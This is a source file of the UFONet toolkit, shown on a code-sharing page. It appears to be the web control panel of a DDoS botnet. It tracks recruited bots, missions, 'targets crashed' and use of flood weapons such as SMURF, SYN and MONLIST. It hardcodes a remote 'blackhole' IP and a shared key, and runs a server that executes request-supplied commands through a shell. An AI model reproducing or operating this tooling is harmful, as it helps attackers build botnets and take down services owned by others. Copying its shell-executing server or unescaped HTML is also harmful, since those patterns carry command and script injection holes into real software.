Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/webgui.py
1205 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
#######WORKAROUND PYTHON(3) VERSIONS####################
13
import platform
14
python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
15
#######################################################
16
17
import socket, threading, re, os, time, random, base64
18
import webbrowser, subprocess, json, sys, requests
19
import urllib.request, urllib.error, urllib.parse
20
from urllib.parse import urlparse as urlparse
21
from core.tools.crypter import Cipher
22
from time import gmtime, strftime, strptime
23
from Cryptodome.Cipher import AES
24
from hashlib import sha1, sha256
25
from decimal import Decimal
26
from random import shuffle
27
from .options import UFONetOptions
28
from .main import UFONet
29
from core.tools.abductor import Abductor
30
31
#######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
32
default_blackhole = '46.163.118.220' # default blackhole (turina.space)#
33
crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
34
###################################################################
35
36
browser_init_page = "https://swisscows.com/en" # initial webpage for ship.browser [OK! 20/08/2024]
37
check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022][OK! 20/08/2024]
38
check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020][OK! 20/08/2024]
39
check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [23/07/2022][OK! 20/08/2024]
40
41
torrent_seed = "https://ufonet.03c8.net/ufonet/ufonet-v1.9.tar.gz.torrent" # current torrent seed [OK! 21/08/2024]
42
43
blackhole_sep = "|" # blackhole stream separator
44
board_msg_sep = "#!#" # board stream separator
45
grid_msg_sep = "#?#" # grid stream seperator
46
wargames_msg_sep = "#-#" # wargames stream seperator
47
links_msg_sep = "#L#" # links stream separator
48
streams_msg_sep = "#S#" # streams stream separator
49
games_msg_sep = "#G#" # games stream separator
50
globalnet_msg_sep = "#$#" # globalnet stream separator
51
badkeys = [";", "/"] # some bad keys
52
53
host = "0.0.0.0"
54
port = 9999
55
56
class ClientThread(threading.Thread):
57
def __init__(self, ip, port, socket):
58
threading.Thread.__init__(self)
59
self.ip = ip
60
self.port = port
61
self.socket = socket
62
self.pages = Pages()
63
64
def run(self):
65
req = self.socket.recv(2048)
66
res = self.pages.get(req)
67
if res is None:
68
self.socket.close()
69
return
70
out = "HTTP/1.0 %s\r\n" % res["code"]
71
out += "Content-Type: %s\r\n\r\n" % res["ctype"]
72
out += "%s" % res["html"]
73
try:
74
self.socket.send(out.encode('utf-8'))
75
except:
76
self.socket.send(out)
77
self.socket.close()
78
if "run" in res and len(res["run"]):
79
subprocess.Popen(res["run"], shell=True)
80
81
class Pages():
82
def file_len(self, fn):
83
with open(fn) as f:
84
for i, l in enumerate(f):
85
pass
86
return i + 1
87
88
def html_army_map(self,target=None):
89
try:
90
target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
91
except:
92
target_js="not any zombie available\n\n"
93
if target is not None:
94
target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
95
return self.pages["/header"] + """
96
<link rel="stylesheet" href="/js/style.css" />
97
<link rel="stylesheet" href="/js/ajaxmap.css" />
98
<link rel="stylesheet" href="/js/leaflet/leaflet.css" />
99
<link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
100
<link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
101
<script src="/js/leaflet/leaflet.js"></script>
102
<script src="/js/cluster/leaflet.markercluster-src.js"></script>
103
<script src="/js/jquery-1.10.2.min.js"></script>
104
<script src="/js/rlayer-src.js"></script>
105
<script src="/js/raphael.js"></script>
106
<script src="/js/ufo.js"></script>
107
<script src="/js/ajax.js"></script>
108
</head><body bgcolor="black" text="black">
109
<div id="wrapper">
110
<div id="map" style="width: 100%; height: 100%"></div>
111
</div>
112
<script type="text/javascript">
113
window.onload = function(){
114
"""+target_js+"""
115
}
116
</script>
117
<center>
118
""" + self.pages["/footer"]
119
120
def html_request_submit(self):
121
return self.pages["/header"]+"""<script>
122
window.setTimeout(window.close,1234)
123
</script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
124
<center>settings updated"""+self.pages["/footer"]
125
126
def html_requests(self):
127
# read requests configuration file (json)
128
try:
129
with open(self.mothership_webcfg_file) as data_file:
130
data = json.load(data_file)
131
except:
132
if os.path.exists(self.mothership_webcfg_file) == True:
133
print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
134
return
135
else: # generate default requests configuration file
136
print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
137
with open(self.mothership_webcfg_file, "w") as f:
138
json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
139
# set values of requests configuration from json file to html form
140
with open(self.mothership_webcfg_file) as data_file:
141
data = json.load(data_file)
142
self.agents = [] # generating available user-agents
143
f = open(self.agents_file)
144
agents = f.readlines()
145
f.close()
146
for agent in agents:
147
self.agents.append(agent)
148
self.user_agent = random.choice(self.agents).strip()
149
self.rproxy = data["rproxy"]
150
if self.rproxy == "NONE":
151
self.rproxy = ""
152
self.ruseragent = data["ruseragent"]
153
if self.ruseragent == "RANDOM":
154
self.ruseragent = self.user_agent # random user-agent
155
self.rreferer = data["rreferer"]
156
if self.rreferer == "RANDOM":
157
self.rreferer = self.referer # random referer
158
self.rhost = data["rhost"]
159
if self.rhost == "NONE":
160
self.rhost = ""
161
self.rxforw = data["rxforw"]
162
if self.rxforw == "on":
163
self.rxforw_check = 'checked'
164
else:
165
self.rxforw_check = ''
166
self.rxclient = data["rxclient"]
167
if self.rxclient == "on":
168
self.rxclient_check = 'checked'
169
else:
170
self.rxclient_check = ''
171
self.rtimeout = data["rtimeout"]
172
self.rretries = data["rretries"]
173
self.rdelay = data["rdelay"]
174
self.threads = data["threads"]
175
self.rssl = data["rssl"]
176
if self.rssl == "on":
177
self.rssl_check = 'checked'
178
else:
179
self.rssl_check = ''
180
return self.pages["/header"] + """
181
<script language="javascript">
182
function Requests() {
183
var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
184
}
185
</script>
186
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
187
<u>Configure requests:</u>
188
<table cellpadding="2" cellspacing="2">
189
<form method='GET'>
190
<tr>
191
<td> Use proxy server:</td>
192
<td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
193
</tr>
194
<tr>
195
<td> Use another HTTP User-Agent header:</td>
196
<td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
197
</tr>
198
<tr>
199
<td> Use another HTTP Referer header:</td>
200
<td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
201
</tr>
202
<tr>
203
<td> Use another HTTP Host header:</td>
204
<td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
205
</tr>
206
<tr>
207
<td> Set your HTTP X-Forwarded-For with random IP values:</td>
208
<td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
209
</tr>
210
<tr>
211
<td> Set your HTTP X-Client-IP with random IP values:</td>
212
<td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
213
</tr>
214
<tr>
215
<td> Select your timeout:</td>
216
<td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
217
</tr>
218
<tr>
219
<td> Retries when the connection timeouts:</td>
220
<td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
221
</tr>
222
<tr>
223
<td> Delay in seconds between each HTTP request:</td>
224
<td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
225
</tr>
226
<tr>
227
<td> Number of threads:</td>
228
<td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
229
</tr>
230
<tr>
231
<td> Force usage of SSL/HTTPS requests:</td>
232
<td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
233
</tr>
234
</table>
235
<hr>
236
<input type="hidden" name="update" value="1">
237
<input type="submit" value="Set!" onclick="Requests()"></pre>
238
</form>
239
""" + self.pages["/footer"]
240
241
def html_board_profile_submit(self):
242
return self.pages["/header"]+"""<script>
243
window.setTimeout(window.close,1234)
244
</script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
245
<center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
246
247
def html_grid_profile_submit(self):
248
return self.pages["/header"]+"""<script>
249
window.setTimeout(window.close,1234)
250
</script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
251
<center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
252
253
def profile_crew(self, icon):
254
files = os.listdir("core/images/crew/")
255
if icon == "NONE":
256
icon = "link1"
257
html_stream = ""
258
html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
259
for f in files:
260
id = str(f.replace(".txt", ""))
261
value = str(f.replace(".txt", ""))
262
if icon == value:
263
checked = " CHECKED"
264
else:
265
checked = ""
266
crew_img = open("core/images/crew/"+value+".txt").read()
267
html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
268
html_stream += "</tr></table>"
269
return html_stream
270
271
def html_board_profile(self):
272
try:
273
with open(self.mothership_boardcfg_file) as data_file:
274
data = json.load(data_file)
275
except:
276
if os.path.exists(self.mothership_boardcfg_file) == True:
277
print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
278
return
279
else:
280
print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
281
with open(self.mothership_boardcfg_file, "w") as f:
282
json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
283
f.close()
284
with open(self.mothership_boardcfg_file) as data_file:
285
data = json.load(data_file)
286
self.profile_token = str(random.getrandbits(128)) # generating random token hash
287
self.profile_icon = data["profile_icon"]
288
self.profile_nick = data["profile_nick"]
289
self.profile_nick.encode('utf-8')
290
return self.pages["/header"] + """
291
<script language="javascript">
292
function BoardProfile() {
293
var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
294
}
295
</script>
296
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
297
<u>Configure profile:</u>
298
<table cellpadding="2" cellspacing="2">
299
<form method='GET'>
300
<tr>
301
<td> <u>OPERATOR/LINK:</u></td>
302
<td> """+self.profile_crew(self.profile_icon)+"""</td>
303
</tr>
304
<tr>
305
<td> <u>NICKNAME:</u></td>
306
<td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
307
</tr>
308
</table>
309
<hr>
310
<input type="hidden" name="update" value="1">
311
<input type="submit" value="Set!" onclick="BoardProfile()"></pre>
312
</form>
313
""" + self.pages["/footer"]
314
315
def html_grid_profile(self):
316
try:
317
with open(self.mothership_gridcfg_file) as data_file:
318
data = json.load(data_file)
319
except:
320
if os.path.exists(self.mothership_gridcfg_file) == True:
321
print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
322
return
323
else:
324
print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
325
with open(self.mothership_gridcfg_file, "w") as f:
326
json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
327
f.close()
328
with open(self.mothership_gridcfg_file) as data_file:
329
data = json.load(data_file)
330
self.grid_token = str(random.getrandbits(128)) # generating random token hash
331
self.grid_contact = data["grid_contact"]
332
self.grid_contact.encode('utf-8')
333
self.grid_nick = data["grid_nick"]
334
self.grid_nick.encode('utf-8')
335
return self.pages["/header"] + """
336
<script language="javascript">
337
function GridProfile() {
338
var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
339
}
340
</script>
341
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
342
<u>Configure grid profile:</u><br>
343
<table cellpadding="2" cellspacing="2">
344
<form method='GET'>
345
<tr>
346
<td> <u>NICKNAME:</u></td>
347
<td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
348
</tr>
349
<tr>
350
<td> <u>EMAIL/URL (CONTACT):</u></td>
351
<td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
352
</tr>
353
</table>
354
<hr>
355
<input type="hidden" name="update" value="1">
356
<input type="submit" value="Set!" onclick="GridProfile()"></pre>
357
</form>
358
""" + self.pages["/footer"]
359
360
def html_board_remove(self):
361
try:
362
with open(self.mothership_boardcfg_file, "w") as f:
363
json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
364
except:
365
return
366
return self.pages["/header"]+"""<script>
367
window.setTimeout(window.close,1234)
368
</script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
369
<center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
370
371
def html_grid_remove(self):
372
try:
373
with open(self.mothership_gridcfg_file, "w") as f:
374
json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
375
except:
376
return
377
return self.pages["/header"]+"""<script>
378
window.setTimeout(window.close,1234)
379
</script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
380
<center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
381
382
def html_stats(self):
383
total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp)
384
if self.ranking == "Rookie": # Rookie
385
your_ranking = "<font color='white'>Rookie [*]</font>"
386
elif self.ranking == "Mercenary": # Mercenary
387
your_ranking = "<font color='cyan'>Mercenary [**]</font>"
388
elif self.ranking == "Bandit": # Bandit
389
your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
390
elif self.ranking == "UFOmmander!": # UFOmmander!
391
your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
392
elif self.ranking == "UFOl33t!": # UFOl33t!
393
your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
394
else:
395
your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
396
return self.pages["/header"] + """<script language="javascript">
397
function Ranking() {
398
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
399
}
400
function Grid() {
401
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
402
}
403
function Board() {
404
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
405
}
406
function Links() {
407
var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
408
}
409
function Streams() {
410
var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
411
}
412
</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
413
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
414
<center>
415
<table cellpadding="5" cellspacing="5"><tr>
416
<td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
417
<td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
418
</tr></table>
419
<table border="0" cellpadding="5" cellspacing="10"><tr><td>
420
<table border="1" cellpadding="5" cellspacing="10">
421
<tr>
422
<td><b><u>Globalnet:</u></b></td></tr>
423
<tr>
424
<td>GLOBAL.RADAR (nodes):</td><td align='right'><font color='orange'><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></td>
425
</tr>
426
<tr>
427
<td>SHIP.WARPS (nodes):</td><td align='right'><font color='orange'><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></td>
428
</tr>
429
</table>
430
<br>
431
<table border="1" cellpadding="5" cellspacing="10"><tr>
432
<td><b><u>Missions:</u></b></td></tr>
433
<tr>
434
<td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
435
<tr>
436
<td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
437
<tr>
438
<td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
439
<tr>
440
<td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
441
</table>
442
</td><td>
443
<br>
444
<table border="1" cellpadding="5" cellspacing="10"><tr>
445
<td><b><u>General:</u></b></td></tr>
446
<tr>
447
<td>Mothership ID:</td><td align='right'><font color='cyan'><b>""" + str(self.mothership_id) + """</b></font></td></tr>
448
<td>Model:</td><td align='right'><font color='blue'>""" + str(self.mothership_model) + """</font></td></tr>
449
<tr><td>Born:</td><td align='right'><font color='orange'>""" + str(time.ctime(os.path.getctime('ufonet'))) + """</font></td></tr>
450
<tr><td>Ranking:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
451
<tr><td>Flying (times):</td><td align='right'><font color='red'><b>""" + str(self.aflying) + """</b></font></td></tr>
452
</table>
453
</td><td>
454
<table border="1" cellpadding="5" cellspacing="10"><tr>
455
<td><b><u>Botnet:</u></b></td></tr>
456
<tr>
457
<td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
458
<tr>
459
<td>Scanner (new bots via dorking):</td>
460
<td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
461
<tr>
462
<td>Transferred (new bots via blackholes):</td>
463
<td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
464
<tr>
465
<td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
466
</table>
467
<br>
468
<table border="1" cellpadding="5" cellspacing="10"><tr>
469
<td><b><u>Weapons (use):</u></b></td></tr>
470
<tr>
471
<td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
472
<td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
473
<td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
474
<tr>
475
<td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
476
<td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
477
<td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
478
<tr>
479
<td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
480
<td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
481
<td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
482
<tr>
483
<td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
484
<td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
485
<td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
486
<tr>
487
<td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
488
<td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
489
<td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
490
<tr>
491
<td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
492
<td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
493
<td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
494
</tr>
495
</table>
496
</td></tr></table>
497
<br><hr>
498
<div id="cmdOut"></div>
499
""" + self.pages["/footer"]
500
501
def hmac_sha1(self, key, msg):
502
if len(key) > 20:
503
key = sha1(key).digest()
504
key += chr(0).encode('utf-8') * (20 - len(key))
505
o_key_pad = key.translate(self.trans_5C)
506
i_key_pad = key.translate(self.trans_36)
507
return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
508
509
def derive_keys(self, key):
510
key = key.encode('utf-8')
511
h = sha256()
512
h.update(key)
513
h.update('cipher'.encode('utf-8'))
514
cipher_key = h.digest()
515
h = sha256()
516
h.update(key)
517
h.update('mac'.encode('utf-8'))
518
mac_key = h.digest()
519
return (cipher_key, mac_key)
520
521
def decrypt(self, key, text):
522
KEY_SIZE = 32
523
BLOCK_SIZE = 16
524
MAC_SIZE = 20
525
mode = AES.MODE_CFB
526
try:
527
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
528
except:
529
try:
530
padding = len(text) % 4
531
if padding == 1:
532
return ''
533
elif padding == 2:
534
text += b'=='
535
elif padding == 3:
536
text += b'='
537
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
538
except TypeError:
539
return None
540
iv = iv_ciphertext_mac[:BLOCK_SIZE]
541
ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
542
mac = iv_ciphertext_mac[-MAC_SIZE:]
543
(cipher_key, mac_key) = self.derive_keys(key)
544
expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
545
if mac != expected_mac:
546
return None
547
aes = AES.new(cipher_key, mode, iv)
548
self.decryptedtext = aes.decrypt(ciphertext)
549
try:
550
self.decryptedtext = self.decryptedtext.decode('utf-8')
551
except:
552
pass
553
554
def encrypt(self, key, text):
555
try:
556
key = base64.b64encode(str(key))
557
except:
558
key = base64.b64encode(key.encode('utf-8'))
559
c = Cipher(key, text)
560
msg = c.encrypt()
561
try:
562
msg = msg.decode('utf-8')
563
except:
564
pass
565
c.set_text(msg)
566
self.encryptedtext = str(msg)
567
568
def html_news(self):
569
return self.pages["/header"] + """<script language="javascript">
570
function Decrypt(){
571
news_key=document.getElementById("news_key").value
572
if(news_key == "") {
573
window.alert("You need to enter a valid key (provided by someone)");
574
return
575
}else{
576
params="news_key="+escape(news_key)
577
runCommandX("cmd_decrypt",params)
578
document.getElementById("nb1").style.display = "none";
579
}
580
}
581
</script>
582
<script language="javascript">
583
function RefreshNews(){
584
news_source=document.getElementById("news_source").value
585
if(news_source == "") {
586
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
587
return
588
}else{
589
params="news_source="+escape(news_source)
590
runCommandX("cmd_refresh_news",params)
591
document.getElementById("nb1").style.display = "none";
592
setTimeout("location.reload()", 10000)
593
}
594
}
595
</script>
596
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
597
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
598
<br>
599
<center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
600
<td>Blackhole/IP:</td>
601
<td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
602
</tr></table></td><td><button title="Search for news on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
603
<hr>
604
<table cellpadding="5" cellspacing="5"><tr>
605
<td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
606
<table cellpading="5" cellspacing="10"><tr><td>
607
<form method='GET'>
608
Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
609
</td></tr><tr><td>
610
<a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
611
</form>
612
</td></tr></table></td></tr></table>
613
<hr><br>
614
</center>
615
Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
616
<div id="cmdOut"></div>
617
<div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
618
""" + self.pages["/footer"]
619
620
def html_tv(self):
621
return self.pages["/header"] + """<script language="javascript">
622
function Decrypt_tv(){
623
tv_deckey=document.getElementById("tv_deckey").value
624
if(tv_deckey == "") {
625
window.alert("You need to enter a valid key (provided by someone)");
626
return
627
}else{
628
params="tv_deckey="+escape(tv_deckey)
629
runCommandX("cmd_decrypt_tv",params)
630
document.getElementById("nb1").style.display = "none";
631
}
632
}
633
</script>
634
<script language="javascript">
635
function RefreshTv(){
636
tv_source=document.getElementById("tv_source").value
637
if(tv_source == "") {
638
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
639
return
640
}else{
641
params="tv_source="+escape(tv_source)
642
runCommandX("cmd_refresh_tv",params)
643
document.getElementById("nb1").style.display = "none";
644
setTimeout("location.reload()", 10000)
645
}
646
}
647
</script>
648
<script type="text/javascript">
649
function PlayTV(url_tv){
650
var player=document.getElementById('player');
651
var tv_stream_source=document.getElementById('player');
652
var tv_a=document.getElementById('tv_a');
653
var tv_p=document.getElementById('tv_p');
654
tv_stream_source.src=url_tv;
655
tv_a.href=url_tv;
656
tv_p.innerHTML=url_tv;
657
player.load();
658
player.play();
659
}
660
</script>
661
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
662
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
663
<br>
664
<center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
665
<td>Blackhole/IP:</td>
666
<td><input type="text" name="tv_source" id="tv_source" size="20" value='"""+default_blackhole+"""'></td>
667
</tr></table></td><td><button title="Search for videos on that blackhole..." onclick="RefreshTv()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search TV...</button></td></tr></table>
668
<hr>
669
<table cellpadding="5" cellspacing="5">
670
<tr>
671
<td><a href="javascript:alert('GrouNmnrrĂĽrr says: """ + self.ranking + """... Welcome to the Crypto-TV!...');"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td>
672
<td>
673
<table cellpading="5" cellspacing="10"><tr><td>
674
<form method='GET'>
675
Your key: <input type="text" name="tv_deckey" id="tv_deckey" size="20" value='"""+str(self.crypto_key)+"""'>
676
</td></tr><tr><td>
677
<a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_tv();>Try decryption!</a>
678
</form>
679
</td></tr></table>
680
</td></tr></table>
681
<br>
682
<hr><br>
683
Last update: <font color='"""+ self.tv_status_color + """'>"""+ self.tv_datetime + """</font><br><br>
684
<div id="cmdOut"></div>
685
<div id="nb1" style="display: block;">"""+self.tv_text+"""</div><br><br>
686
""" + self.pages["/footer"]
687
688
def html_missions(self):
689
return self.pages["/header"] + """<script language="javascript">
690
function Decrypt(){
691
missions_key=document.getElementById("missions_key").value
692
if(missions_key == "") {
693
window.alert("You need to enter a valid key (provided by someone)");
694
return
695
}else{
696
params="missions_key="+escape(missions_key)
697
runCommandX("cmd_decrypt",params)
698
document.getElementById("nb1").style.display = "none";
699
}
700
}
701
</script>
702
<script language="javascript">
703
function RefreshMissions(){
704
missions_source=document.getElementById("missions_source").value
